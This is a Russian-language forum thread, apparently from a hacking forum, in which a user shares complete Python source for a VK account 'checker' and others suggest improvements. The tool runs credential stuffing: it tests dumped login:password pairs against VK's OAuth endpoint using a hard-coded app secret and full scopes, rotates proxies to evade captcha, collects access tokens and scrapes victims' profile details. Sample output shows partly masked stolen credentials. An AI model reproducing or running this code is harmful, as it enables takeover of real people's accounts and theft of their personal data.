• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python VK Checker

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Привет.
Продолжаю разгонять тему python для VK, и на этот раз я написал чекер данных входа в аккаунты (valid/not valid).

Знаю, что ниша подобного софта забита, но опять-таки, писал инструмент для себя, а сейчас делюсь им с тобой.

Принцип работы чекера:
Отправляем запрос на https://oauth.vk.com/token? с данными логин-пароль, если ответ пришел такого вида:
{"access_token":token,"expires_in":0,"user_id":id},
значит, аккаунт валидный, да и еще мы получили токен для входа (! контакт может любезно предупредить об этом жертву).
Если ответ вида: {'error': some_error}, то либо пользователь невалид, либо нужна подтвердить вход капчей, значит меняем прокси.

Нужна работа с прокси? Есть самописное решение. Также пишите свои идеи и опыт по поводу работы с прокси(готовые модули, библиотеки).

Принцип работы модуля proxy.py:
Получаем список прокси из файла. Если файл с сырыми данными(практически любого вида, так как разбирать будем по регулярке), то формируем структуру ['ip':'port'], cохраняем его для дальнейшего доступа. Либо открываем уже собранный файл json.
Далее забираем proxy из списка. Если прокси себя израсходовал берем новый из списка. При опустошении листа прокси, мы его обновляем(получаем исходный). И так заданное количество раз (проходим по списку прокси n раз).

Код:
import json
import re
from random import randint

# Класс для работы с прокси
class Proxy:
    # функция инициализации, на вход имя файла со списком, режим открытия (сырые данные, json), количество перезапусков
    # режим получения следующего прокси (рандомный, по порядку)
    def __init__(self, filename, open_mode='raw', relaunch_limit=2, next_mode='rand'):
        # открываем список прокси
        self.proxy_list = self.get_proxy_from_file(filename, open_mode)
        # если были сырые данные, то сохраняем в файл json
        if open_mode != 'json':
            self.save_proxy_list(self.proxy_list, f'{filename}.json')
        # Создаем резервный лист функцией сopy()
        self.reserve_list = self.proxy_list.copy()
        # Объявляем переменную текущего прокси
        self.current_proxy = None
        # указываем режим получения следующего прокси
        self.next_mode = next_mode
        # указываем количество проходов по списку
        self.relaunch_limit = relaunch_limit
        # обнуляем текущий шаг
        self.relaunch_counter = 0
        # получаем новый прокси, указываем причину получения - первый запуск
        self.get_next_proxy(reason='first launch')

    # функция для открытия списка из файла
    @staticmethod
    def get_proxy_from_file(filename, open_mode):
        # объявляем регулярные выражения
        # любое число от 0 до 255
        re_part_ip = r'(25[0-5]|2[0-4]\d|[01]?\d\d?)'
        # 4 числа 0-255 разделенные точкой
        re_ip = fr'{re_part_ip}\.{re_part_ip}\.{re_part_ip}\.{re_part_ip}'
        # порт - любое число от 2 до 6 знаков
        re_port = r'\d{2,6}'
        # разделение между ip и port - любые пробельные символы или :
        re_split = r'[\s:]*'
        # конечный вид нашего proxy с дополнительным именованием нужных групп, для простоты обращения
        re_proxy = f'(?P<ip>{re_ip}){re_split}(?P<port>{re_port})'
        # открываем файл со списком
        with open(filename, 'r') as proxy_file:
            # если файл json
            if open_mode == 'json':
                # то загружаем в json структуру
                proxy_list = json.load(proxy_file)
            # иначе
            else:
                # читаем файл, делим по строкам
                raw_proxy_list = proxy_file.read().split('\n')
                # обнуляем список
                proxy_list = []
                # для каждой строки из файла
                for line in raw_proxy_list:
                    # пробуем найти прокси
                    proxy = re.search(re_proxy, line)
                    # если нашли
                    if proxy:
                        # то добавляем в общий список, обращаемся по группе
                        proxy_list.append({'ip': proxy.group('ip'), 'port': proxy.group('port')})
        # возвращаем все найденные прокси
        return proxy_list

    # функция по получению следующего прокси
    def get_next_proxy(self, reason=''):
        # Если список не пустой
        if self.proxy_list:
            # получаем номер следующего прокси (рандомный или первый элемент)
            if self.next_mode == 'rand':
                next_index = randint(0, len(self.proxy_list) - 1)
            else:
                next_index = 0
            # забираем прокси из списка
            proxy = self.proxy_list.pop(next_index)
            # приводим его к виду '10.10.10.10:8080'
            proxy = f"{proxy['ip']}:{proxy['port']}"
            # задаем текущий прокси для работы с request (словарь с http и https)
            self.current_proxy = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
            # выводим статистику на экран - сколько осталось: в текущем списке/в полном списке/учитывая кол-во повторов
            # шаг прохода/всего шагов, причина смены, новый https прокси
            print(f"Change ip [keep: {len(self.proxy_list)+1}/{len(self.reserve_list)}/"
                  f"{len(self.reserve_list)*(self.relaunch_limit+1)}]"
                  f"[step: {self.relaunch_counter+1}/{self.relaunch_limit+1}]. "
                  f"Reason {reason}. New proxy: {self.current_proxy['https']}")
        # если список пустой
        else:
            # то обновляем его
            self.update_list()

    # функция обновления списка
    def update_list(self):
        # Если счетчик презагрузок дошел до максимального
        if self.relaunch_counter == self.relaunch_limit:
            # то бросаем исключение
            raise GeneratorExit('Хватит менять прокси')
        # копируем резервный список в текущий
        self.proxy_list = self.reserve_list.copy()
        # получаем новый прокси, указываем причину - обновление списка
        self.get_next_proxy(reason='update list')
        # увеличиваем счетчик перезагрузок
        self.relaunch_counter += 1

    # функция сохранения листа прокси для дальнейшего его открытия в режиме json
    @staticmethod
    def save_proxy_list(proxy_list, filename):
        # открываем файловый поток в режиме записи
        with open(filename, 'w') as proxy_file:
            # делаем дамп в файл
            json.dump(proxy_list, proxy_file)

Теперь перейдем к основному - модулю чекера. В этот раз он получился сумбурным, и, наверняка, подлежит редакции. Все обновления, если они последуют, я буду прикреплять в комментариях.
Код:
import argparse
import json

from requests import Session
from event import EventLog
from proxy import Proxy


# Класс чекера дампа логинов-паролей VK
class CheckVkDump:
    def __init__(self, dump_filename):
        # подключаем свежеиспеченный модуль прокси
        self.proxy = Proxy('proxy_list')
        # открываем файл с логинами-паролями
        self.dump_file = self.open_dump_file(dump_filename)
        # обнуляем результирующие списки
        self.results_all, self.results_data, self.results_good, self.errors = [], [], [], []

    # функция открытия дампа с данными
    @staticmethod
    def open_dump_file(filename):
        # открываем файл
        with open(filename) as dump_file:
            # возвращаем список строк
            return dump_file.read().split('\n')

    # основной механизм класса
    def engine(self, dump, save_full_data=True):
        # получаем количество строк (для отображения прогресса)
        line_count = len(dump)
        # для каждой строки
        for count, line in enumerate(dump):
            # выводим на экран информацию о прогрессе
            event.add(event.progress(count, line_count, f'[{count}/{line_count}] (Найдено: {len(self.results_good)})'),
                      temporary=True, level='additional')
            # пробуем получить данные
            try:
                # парсим линию
                login_pass = self.parse_line(line)
                # если данные получены
                if login_pass:
                    # разделяем на логин и пароль
                    login, password = login_pass[0], login_pass[1]
                    # пробуем получить токен по этим данным
                    token = self.get_token_from_password(login, password)
                    # если нашли, то
                    if 'token' in token:
                        # запоминаем его
                        token = token['token']
                        # формируем структуру логин, пароль, токен
                        full_data = {'login': login, 'password': password, 'token': token}
                        # выводим на экран (не обязательно)
                        event.add(f'\n{full_data}')
                        # если указан режим сохранения полной информации
                        if save_full_data:
                            # получаем дополнительную информацию
                            data = self.get_data(token)
                            # если получили
                            if data:
                                # обновляем словарь
                                full_data.update(data)
                            # и записываем ее в список данных
                            self.results_data.append(full_data)
                        # сохраняем логин, пароль, токен в успешные запросы
                        self.results_good.append([login, password, token])
                    # сохраняем информацию в общий список (успех/не успех)
                    self.results_all.append([login, password, token])
            # если ошибка,
            except Exception as e:
                # то записываем в список ошибок
                self.errors.append(str(e))
            # если кончились прокси
            except GeneratorExit as e:
                # добавляем в лог ошибку
                event.add(str(e), 'error')
                # выходим из цикла
                break

    # функция получения логина и пароля из строки
    @staticmethod
    def parse_line(line):
        # пробуем разделить по ':', если получилось возвращаем 1 и 2 элементы
        try:
            parse_string = line.split(':')
            return parse_string[0], parse_string[1]
        except:
            # при ошибке возвращаем None
            return None

    # функция получения токена по логину и паролю
    def get_token_from_password(self, login, password):
        # указываем AppID приложения (андроида)
        client_id = 2274003
        # его секретный ключ
        client_secret = 'hHbZxrka2uZ6jB1inYsH'
        # права - все
        scope = "notify,photos,friends,audio,video,notes,pages,docs,status,questions,offers,wall,groups,messages," \
                "notifications,stats,ads,offline"
        # ссылку на авторизацию аккаунта в приложении
        url = f"http://oauth.vk.com/token?client_id={client_id}&client_secret={client_secret}&grant_type=password&" \
              f"username={login}&password={password}&scope={scope}"
        # получаем ответ на запрос по url
        answer = self.make_request(url)
        # если в ответе есть токен
        if 'access_token' in answer:
            # то возвращаем его в структуре
            return {'token': answer['access_token']}
        # если нет токена
        else:
            # проверяем ошибочный ли запрос
            if 'error' in answer:
                # если нужна капча
                if answer['error'] == 'need_captcha':
                    # меняем прокси по причине капчи
                    self.proxy.get_next_proxy(reason='captcha')
                    # повторяем запрос токена с новыми данными
                    return self.get_token_from_password(login, password)
                # если ошибка не капча
                else:
                    if 'error_type' in answer:
                        # возвращаем тип ошибки
                        return answer['error_type']
            # если что-то иное, то отправляем ответ целиком
            return answer

    # функция отправки запроса
    def make_request(self, url):
        # обнуляем успешное состояние запроса и ответ
        success = False
        answer = None
        # пока не успех
        while not success:
            # пробуем
            try:
                # создать сессию
                s = Session()
                # отправить запрос к урл с текущим прокси
                response = s.get(url, proxies=self.proxy.current_proxy)
                # прочитать ответ
                answer = json.loads(response.content.decode('utf8'))
                # указать успех
                success = True
            except Exception as e:
                # при ошибке меняем прокси с указанием причины ошибки
                self.proxy.get_next_proxy(reason=str(e))
        # возвращаем ответ
        return answer

    # получение дополнительной информации
    def get_data(self, token):
        # формируем url запроса профильной информации по токену
        url = f'https://api.vk.com/method/account.getProfileInfo?v=5.92&access_token={token}'
        # отправляем запрос
        data = self.make_request(url)
        try:
            # пробуем распарсить ответ
            return self.parse_data(data)
        except Exception as e:
            # при ошибке возвращаем None
            return None

    # Парсинг дополнительной информации
    def parse_data(self, data):
        # обнуляем результат
        result = {}
        # если есть поле ответ
        if 'response' in data:
            # то переписываем данные
            data = data['response']
            # Получаем имя и фамилию
            result['Имя'] = f"{self.get_param('first_name', data)} {self.get_param('last_name', data)}"
            # получаем город
            town = self.get_param('city', data)
            if town:
                # если нашел, то записываем
                result['Город'] = self.get_param('title', town)
            # получаем пол
            sex_set = {1: 'Женский', 2: 'Мужской'}
            sex = self.get_param('sex', data)
            # если 1 или 2, значит женский или мужской
            if sex in sex_set:
                result['Пол'] = sex_set[sex]
            else:
                # иначе записываем сырой ответ
                result['Пол'] = sex
            # получаем дату рождения
            result['Дата рождения'] = self.get_param('bdate', data)
            # и родной город
            result['Родной город'] = self.get_param('home_town', data)
        return result

    # функция получения параметра из данных
    @staticmethod
    def get_param(param, data):
        # если есть искомое поле в данных
        if param in data:
            # то возвращаем его
            return data[param]
        else:
            # иначе None
            return None

    # функция сохранения всех данных
    def save_results(self):
        # для каждого результата - все, успешные, данные, ошибки
        for log in [('check_results_all.json', self.results_all), ('check_results_good.json', self.results_good),
                    ('check_results_data.json', self.results_data), ('check_errors.json', self.errors)]:
            # если список не нулевой
            if log[1]:
                # сохраняем в файл
                with open(log[0], 'w') as res_file:
                    json.dump(log[1], res_file, ensure_ascii=False)

    # фунцкия получения статистики всех списков
    def show_stat(self):
        return {'All results': len(self.results_all), 'Good results': len(self.results_good),
                'Data results': len(self.results_data), 'Errors': len(self.errors)}


# получаем имя файла с дампом
def arg_parse_parameters():
    parser = argparse.ArgumentParser(description='VK cheker')
    parser.add_argument('-p', '--path', action='store', type=str, default='')
    args = parser.parse_args()
    return args.path


# функция запускающая чекер
def main():
    # объявляем глобально переменную event
    global event
    # Подключаем логгер для вывода информации на экран
    event = EventLog()
    # инициализируем чекер
    check = CheckVkDump(arg_parse_parameters())
    try:
        # запускаем механизм сбора
        check.engine(check.dump_file, save_full_data=True)
    except Exception as e:
        # в случае ошибки логгируем
        event.add(str(e), level='error')
    # сохраняем результаты работы чекера
    check.save_results()
    # выводим на экран статистику чекера
    event.add(check.show_stat())
    # останавливаем логгер
    event.stop()
    # сохраняем логи в файл
    event.save_log()

# при запуске скрипта
if __name__ == '__main__':
    # вызываем основную функцию
    main()

Особо внимательные заметили event и EventLog. Это мой модуль логгирования, код с комментариями ниже:
Код:
import json
import sys
import time
from datetime import datetime

try:
    # пробуем импортировать модуль сolorama для цветного текста
    from colorama import Fore, init

    init()
    COLOR_MODE = 'colorama'
except:
    # если не получается, то используем "простое" раскрашивание
    COLOR_MODE = 'simple'


# класс по сбору и отображению событий(логгер)
class EventLog:
    # инициализация экземпляра, на вход: выводить события на экран, формат времени(время/дата/свой шаблон),
    # добавлять "старт", "финиш", добавлять цвет, в каком режиме красить
    def __init__(self, display=True, time_format='time', add_comments=True, add_color=True, color_mode=None):
        # список событий
        self.events = []
        # выводить инфу на экран или нет
        self.out_on_display = display
        # определяем формат логгирования времени
        if time_format == 'time':
            self.format_time = '%H:%M:%S'
        elif time_format == 'date':
            self.format_time = '%d.%m.%y %H:%M:%S'
        else:
            self.format_time = time_format
        # добавлять комментарии или нет
        self.comments = add_comments
        # добавлять цвет или нет
        self.color = add_color
        # режим цвета текста(если не задан, то определяется автоматически
        self.color_mode = color_mode or COLOR_MODE
        # создаем переменную старта программы
        self.start_time = 0
        # запускаем
        self.launch()

    def launch(self):
        # обновляем время запуска
        self.start_time = time.time()
        # если комментарии включены
        if self.comments:
            # то добавляем событие "старт"
            self.add('Программа запущена')

    # функция остановки логгирования
    def stop(self):
        # высчитываем время работы программы
        time_stop = time.time() - self.start_time
        # округляем до целого значения, если меньше 1, то до первого ненулевого знака
        time_stop = f'{time_stop:.1}' if time_stop < 1 else int(time_stop)
        # если комментарии включены
        if self.comments:
            # добавляем события "стоп" и "время работы"
            self.add('Программа завершена!')
            self.add(f'Время выполнения {time_stop} секунд.', 'additional')

    # функция добавления события - событие, цвет, временный вывод или нет
    def add(self, event, level='normal', temporary=False):
        # определяем время по заданному шаблону, при ошибке по шаблону "время"
        try:
            cur_time = str(datetime.now().strftime(self.format_time))
        except:
            cur_time = str(datetime.now().strftime('%H:%M:%S'))
        # определяем структуру события - имя, время, уровень
        event = {'event': event, 'time': cur_time, 'level': level}
        # если нужно выводить инфо в терминал
        if self.out_on_display:
            # вызываем функцию для отображения события на экран
            self.display(event, temporary=temporary)
        # если событие не временное
        if not temporary:
            # то добавляем его в общий список
            self.events.append(event)

    # функция отображения события на экране
    def display(self, event, display=None, temporary=False):
        # преобразование уровня в цвет
        def level_to_color(level):
            level_set = {0: 'blue', 1: 'green', 2: 'yellow', 3: 'red'}
            level_word_set = {'normal': 'blue', 'success': 'green', 'additional': 'yellow', 'error': 'red'}
            # если уровень - число
            if level in level_set:
                # выбираем цвет из level_set
                return level_set[level]
            # если слово
            elif level in level_word_set:
                # выбираем из level_word_set
                return level_word_set[level]
            else:
                # иначе стандартный цвет
                return level_set[0]
        # функция добавления цвета тексту
        def get_color_string(string, color, color_mode):
            # если простой режим
            if color_mode == 'simple':
                # определяем словарь цветов
                color_set = {'red': '\033[91m', 'green': '\033[92m', 'yellow': '\033[93m', 'blue': '\033[94m'}
                end = '\033[0m'
                # и если цвет в словаре
                if color in color_set:
                    # то красим
                    string = f"{color_set[color]}{string}{end}"
            # если режим сolorama
            elif COLOR_MODE == color_mode == 'colorama':
                # определяем словарь цветов
                colorama_set = {'red': Fore.RED, 'green': Fore.GREEN, 'yellow': Fore.YELLOW, 'blue': Fore.CYAN}
                # если цвет в словаре
                if color in colorama_set:
                    # красим
                    string = f'{colorama_set[color]}{string}'
            # возвращаем полученную строку
            return string
        # если переносим символ \r в начало строки, если он есть в событии
        if '\r' in event['event']:
            event['event'] = event['event'].replace('\r', '')
            additional = '\r'
        else:
            additional = ''
        # формируем сообщение "[время]: событие"
        text = f"{additional}[{event['time']}]: {event['event']}"
        # если надо красить
        if self.color:
            # то красим (текст, уровень->цвет, режим)
            text = get_color_string(text, level_to_color(event['level']), self.color_mode)
        # если в функции явно не указано отображать событие или нет
        if display is None:
            # то получаем значение у экземпляра класса
            display = self.out_on_display
        # если отображать
        if display:
            # если временный текст
            if temporary:
                # то выводим временно
                sys.stdout.write(text)
                sys.stdout.flush()
            else:
                # иначе через print
                print(text)
        # возвращаем текст
        return text
    # функция сохранения событий в файл
    def save_log(self, filename='events.json'):
        # если список событий не пустой и задано имя файла
        if self.events and filename:
            # открываем файл
            with open(filename, 'w', encoding='utf8') as event_log_file:
                # если формат json
                if 'json' in filename:
                    # записываем структурой
                    json.dump(self.events, event_log_file, ensure_ascii=False)
                else:
                    # иначе записываем события построчно
                    for event in self.events:
                        event_log_file.write(f'{self.display(event, False)}\n')
    # функция для отображения заполненности прогресс бара
    @staticmethod
    def progress(count, total, suffix=''):
        # задаем длину
        bar_len = 40
        # получаем заполненность
        filled_len = int(round(bar_len * count / float(total)))
        # определяем проценты
        percents = round(100.0 * count / float(total), 1)
        # формируем прогресс бар
        bar = '=' * filled_len + '-' * (bar_len - filled_len)
        # возвращаем "текст [...] %"
        return f'\r{suffix} [{bar}] {percents}%'

Пример запуска:
python check_vk.py -p=/home/gh0stage/Загрузки/passvk/split/part_xdi/xab

Пример вывода:
[23:10:06]: Программа запущена Change ip [keep: 14/14/42][step: 1/3]. Reason first launch. New proxy: https://157.230.32.132:8080 [23:10:06]: [0/3] (Найдено: 0) [----------------------------------------] 0.0%[23:10:09]: {'login': '+79********4', 'password': '5********K', 'token': 'cfb****************************************dc05d27'} [23:10:11]: [1/3] (Найдено: 1) [=============---------------------------] 33.3% Change ip [keep: 13/14/42][step: 1/3]. Reason captcha. New proxy: https://31.209.108.246:47502 Change ip [keep: 12/14/42][step: 1/3]. Reason captcha. New proxy: https://159.192.100.97:8080 [23:10:34]: [2/3] (Найдено: 1) [===========================-------------] 66.7%[23:10:38]: {'login': 'k**************x.ru', 'password': '******************', 'token': '5f77*******************************************************86g'} [23:10:42]: {'All results': 3, 'Good results': 2, 'Data results': 2, 'Errors': 0} [23:10:42]: Программа завершена! [23:10:42]: Время выполнения 35 секунд.

Код:
[
  {
    "login": "+7********4",
    "password": "5********K",
    "token": "cf***********************************d27",
    "Имя": "В******** ******н",
    "Город": "Санкт-Петербург",
    "Пол": "Мужской",
    "Дата рождения": "*.*.****",
    "Родной город": "*******"
  },
  {
    "login": "**************x.ru",
    "password": "************",
    "token": "**************************",
    "Имя": "****** *******в",
    "Пол": "Мужской",
    "Дата рождения": "*.*.19**",
    "Родной город": ""
  }
]
 

Вложения

  • check_vk.zip
    9,1 KB · Просмотры: 240
Последнее редактирование:

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Посмотрел свежим взглядом на реализацию (не код, а именно применение), и решил, что без развития проекта(не финансового, а идейного), кроме бесплатности решения и базового описания валидации не особо интересен на большом количестве запросов. Потому, если будут идеи по развитию, пишите сюда или в лс, а далее, в зависимости от личной загруженности, буду дописывать, дорабатывать.
Указывайте на ошибки, если обнаружите.
Решил, все-таки, добавить обработку капчи, так как отдача от free proxy list минимальная - многие не достукиваются именно из-за капчи (на приватных не тестировал, если кто тестил, отпишите результат). Это первый проект с прокси, и, возможно, я не до конца понимаю принцип защиты oauth.vk.com от кучи запросов.
По поводу gui - пока не планируется (пока не будет достаточно хороший функционал в консольной версии).
 

MrGick

Участник
Сообщения
26
Реакции
8
0 руб.
Страница Вконтакте
Посмотрел свежим взглядом на реализацию (не код, а именно применение), и решил, что без развития проекта(не финансового, а идейного), кроме бесплатности решения и базового описания валидации не особо интересен на большом количестве запросов. Потому, если будут идеи по развитию, пишите сюда или в лс, а далее, в зависимости от личной загруженности, буду дописывать, дорабатывать.
Указывайте на ошибки, если обнаружите.
Решил, все-таки, добавить обработку капчи, так как отдача от free proxy list минимальная - многие не достукиваются именно из-за капчи (на приватных не тестировал, если кто тестил, отпишите результат). Это первый проект с прокси, и, возможно, я не до конца понимаю принцип защиты oauth.vk.com от кучи запросов.
По поводу gui - пока не планируется (пока не будет достаточно хороший функционал в консольной версии).
Код довольно хорош, можно добавить потоки и капчу)
 

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Код довольно хорош, можно добавить потоки и капчу)
Капчу решил все-таки добавить, займусь как время позволит. По поводу потоков думал, тоже руки дойдут, спасибо за идеи.
[automerge]1546871683[/automerge]
Исправил ошибку - при повторном запросе(из-за капчи) не правильно возвращался результат:
Было
Python:
if answer['error'] == 'need_captcha':
    # меняем прокси по причине капчи
    self.proxy.get_next_proxy(reason='captcha')
    # повторяем запрос токена с новыми данными
    self.get_token_from_password(login, password)
Стало
Python:
if answer['error'] == 'need_captcha':
    # меняем прокси по причине капчи
    self.proxy.get_next_proxy(reason='captcha')
    # повторяем запрос токена с новыми данными
    return self.get_token_from_password(login, password)
 
Последнее редактирование:

MrGick

Участник
Сообщения
26
Реакции
8
0 руб.
Страница Вконтакте
Капчу решил все-таки добавить, займусь как время позволит. По поводу потоков думал, тоже руки дойдут, спасибо за идеи.
[automerge]1546871683[/automerge]
Исправил ошибку - при повторном запросе(из-за капчи) не правильно возвращался результат:
Было
Python:
if answer['error'] == 'need_captcha':
    # меняем прокси по причине капчи
    self.proxy.get_next_proxy(reason='captcha')
    # повторяем запрос токена с новыми данными
    self.get_token_from_password(login, password)
Стало
Python:
if answer['error'] == 'need_captcha':
    # меняем прокси по причине капчи
    self.proxy.get_next_proxy(reason='captcha')
    # повторяем запрос токена с новыми данными
    return self.get_token_from_password(login, password)
Ещё можно добавить проверку прокси, её проще реализовать через curl. А также requests палит наш ip, если прокси не заработало, поэтому, возможно, капча появляется. Так же requests кидает наш прокси в невалид, если он не отвечает на запрос https, а отвечает на запрос http и наоборот. Поэтому посоветую юзать curl. Например, я переписал прокси и весь веб на php и использовал curl. И всё идеально работало)
 

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Ещё можно добавить проверку прокси, её проще реализовать через curl. А также requests палит наш ip, если прокси не заработало, поэтому, возможно, капча появляется. Так же requests кидает наш прокси в невалид, если он не отвечает на запрос https, а отвечает на запрос http и наоборот. Поэтому посоветую юзать curl. Например, я переписал прокси и весь веб на php и использовал curl. И всё идеально работало)
Спасибо за информацию, вероятно, переделаю под сurl
 

Raskolnikov

Резидент
Сообщения
233
Реакции
311
0 руб.
ТС молодец +, сам недавно влетел в python, с огромным интересом ознакомился с твоим кодом, интересно было бы конечно увидеть реализацию потоков
 

dictatorpress

Участник
Сообщения
1
Реакции
7
0 руб.
Telegram
Первый раз установил python и пытался запустить код. И он мне ошибки выдает. Скажите. что они означают - если можно построчно.

"C:\Program Files\Python38\python.exe" C:/Users/Inspiron/Desktop/check_vk/check_vk.py
Traceback (most recent call last):
File "C:/Users/Inspiron/Desktop/check_vk/check_vk.py", line 255, in <module>
main()
File "C:/Users/Inspiron/Desktop/check_vk/check_vk.py", line 235, in main
check = CheckVkDump(arg_parse_parameters())
File "C:/Users/Inspiron/Desktop/check_vk/check_vk.py", line 13, in __init__
self.proxy = Proxy('proxy_list')
File "C:\Users\Inspiron\Desktop\check_vk\proxy.py", line 12, in __init__
self.proxy_list = self.get_proxy_from_file(filename, open_mode)
File "C:\Users\Inspiron\Desktop\check_vk\proxy.py", line 44, in get_proxy_from_file
with open(filename, 'r') as proxy_file:
FileNotFoundError: [Errno 2] No such file or directory: 'proxy_list'
[16:55:28]: Программа запущена

Process finished with exit code 1
 
Сверху Снизу